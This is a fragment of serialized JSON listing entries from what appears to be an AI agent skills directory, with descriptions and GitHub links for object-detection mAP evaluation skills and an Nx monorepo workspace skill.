diagnostics.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Fpython-api\u002FSKILL.md",[],[],{"skillNo":70,"name":71,"nameZh":6,"description":72,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":73,"categories":74,"keywords":75,"publishedAt":56},"01M7FFFVZQZ2GJ0C0TGP7JHD20","file-evaluation","Folder-based PASCAL VOC AP\u002FmAP evaluation from ground-truth and detection text files.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Ffile-evaluation\u002FSKILL.md",[],[],{"skillNo":77,"name":78,"nameZh":6,"description":79,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":80,"categories":81,"keywords":82,"publishedAt":56},"01M7FFFSFNYSE77SJ6PE1CK2DA","object-detection-metrics","Guides legacy Object-Detection-Metrics PASCAL VOC AP\u002FmAP evaluation from detection text folders and direct Python API classes.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002FSKILL.md",[],[],{"skillNo":84,"name":85,"nameZh":6,"description":86,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":56},"01M7FFFP0GCK1RVXBCPQ8APBMT","nx-workspace-patterns","Configure and optimize Nx monorepo workspaces. Use when setting up Nx, configuring project boundaries, optimizing build caching, or implementing affected commands.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fnx-workspace-patterns\u002FSKILL.md",[],[]]